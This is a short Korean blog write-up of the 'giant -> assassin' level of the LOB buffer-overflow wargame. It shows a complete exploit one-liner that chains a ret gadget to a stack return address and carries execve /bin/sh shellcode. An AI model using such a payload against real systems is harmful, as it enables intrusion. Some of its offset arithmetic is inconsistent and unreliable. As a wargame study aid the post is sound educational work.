nemo의 이야기

BOF원정대 giant -> assassin 본문

Information security/System security

BOF원정대 giant -> assassin

nemojjong 2018. 2. 7. 16:40

 

위 소스를 확인하면

 

1. 스택을 사용할 수 없다.

 

2. RTL을 사용할 수 없다.

 

이를 해결 하려면 ret를 이용해서 retrun address의 위치를 바꿔 공격하면 될 것이다.

 

우선 ret의 주소를 확인해 보자

 

 

ret : 804851e이다

 

그리고 buffer의 주소를 확인해보자

 

 

buffer에 주소는 bffffab0라는 것을 확인 할 수 있다.

 

그리고 쉘코드의 위치를 구하기 위해 52bit를 16진수로 바꾸면 0x32가 된다.

 

이제 bffffab0 + 0x32를 더하면 => 0xbffffae4가 된다.

 

그럼 이제 공격 코드를 적성해보자

 

$(python -c 'print "A" * 44 + "\x1e\x85\x04\x08" + "\xe4\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

 

 

공격에 성공한 것을 확인할 수 있다.

 

 

Comments